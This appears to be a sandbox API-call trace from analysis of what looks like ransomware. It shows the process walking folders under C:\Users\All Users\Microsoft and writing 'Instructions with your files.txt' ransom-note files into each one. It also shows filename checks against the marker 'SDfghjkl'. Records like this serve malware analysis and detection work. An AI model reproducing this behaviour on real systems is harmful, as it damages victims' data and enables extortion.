[0131.867] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb2165b80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb2165b80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb218bce0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.867] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\Instructions with your files.txt") returned 104
[0131.867] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.867] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb2165b80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb2165b80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb218bce0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.867] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\Instructions with your files.txt") returned 104
[0131.868] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.868] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.868] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.869] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.869] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.869] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.869] CloseHandle (hObject=0x114) returned 1
[0131.869] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.869] GetProcessHeap () returned 0x810000
[0131.869] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.869] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb218bce0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb218bce0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb218bce0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.869] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Instructions with your files.txt") returned 98
[0131.869] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.869] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 1
[0131.869] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat") returned 76
[0131.869] StrStrIW (lpFirst="tokens.dat", lpSrch="SDfghjkl") returned 0x0
[0131.869] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 0
[0131.869] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Instructions with your files.txt") returned 98
[0131.869] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.870] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.870] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.870] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.870] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.871] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.871] CloseHandle (hObject=0x110) returned 1
[0131.871] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.871] GetProcessHeap () returned 0x810000
[0131.871] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.871] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb25b6360, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb25b6360, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RAC", cAlternateFileName="")) returned 1
[0131.871] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC") returned 36
[0131.871] GetProcessHeap () returned 0x810000
[0131.871] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.871] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\*") returned 38
[0131.871] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb25b6360, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb25b6360, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.871] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\.") returned 38
[0131.871] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb25b6360, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb25b6360, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.871] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\..") returned 39
[0131.871] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb21d7fa0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb21d7fa0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2733120, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.871] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\Instructions with your files.txt") returned 69
[0131.871] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.871] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb21b1e40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb21b1e40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outbound", cAlternateFileName="")) returned 1
[0131.871] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\Outbound") returned 45
[0131.871] GetProcessHeap () returned 0x810000
[0131.871] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.871] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\*") returned 47
[0131.871] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb21b1e40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb21b1e40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.872] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\.") returned 47
[0131.872] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb21b1e40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb21b1e40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.872] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\..") returned 48
[0131.872] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb21b1e40, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb21b1e40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb21b1e40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.872] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\Instructions with your files.txt") returned 78
[0131.872] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.872] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb21b1e40, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb21b1e40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb21b1e40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.872] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\Instructions with your files.txt") returned 78
[0131.872] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\rac\\outbound\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.872] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.873] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.873] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.873] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.873] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.873] CloseHandle (hObject=0x114) returned 1
[0131.873] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.873] GetProcessHeap () returned 0x810000
[0131.873] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.873] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb21b1e40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb21b1e40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublishedData", cAlternateFileName="PUBLIS~1")) returned 1
[0131.873] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData") returned 50
[0131.873] GetProcessHeap () returned 0x810000
[0131.873] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.874] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\*") returned 52
[0131.874] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb21b1e40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb21b1e40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.874] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\.") returned 52
[0131.874] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb21b1e40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb21b1e40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.874] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\..") returned 53
[0131.874] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb21b1e40, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb21b1e40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb21b1e40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.874] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\Instructions with your files.txt") returned 83
[0131.874] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.874] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xece09220, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7b503bb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x8ef715e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x45000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="RACWMI~1.SDF")) returned 1
[0131.874] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf") returned 69
[0131.874] StrStrIW (lpFirst="RacWmiDatabase.sdf", lpSrch="SDfghjkl") returned 0x0
[0131.874] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xece09220, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7b503bb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x8ef715e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x45000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="RACWMI~1.SDF")) returned 0
[0131.874] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\Instructions with your files.txt") returned 83
[0131.874] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.874] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.875] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.875] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.875] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.875] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.875] CloseHandle (hObject=0x114) returned 1
[0131.875] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.875] GetProcessHeap () returned 0x810000
[0131.875] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.876] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb21b1e40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb21b1e40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StateData", cAlternateFileName="STATED~1")) returned 1
[0131.876] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\StateData") returned 46
[0131.876] GetProcessHeap () returned 0x810000
[0131.876] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.876] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\*") returned 48
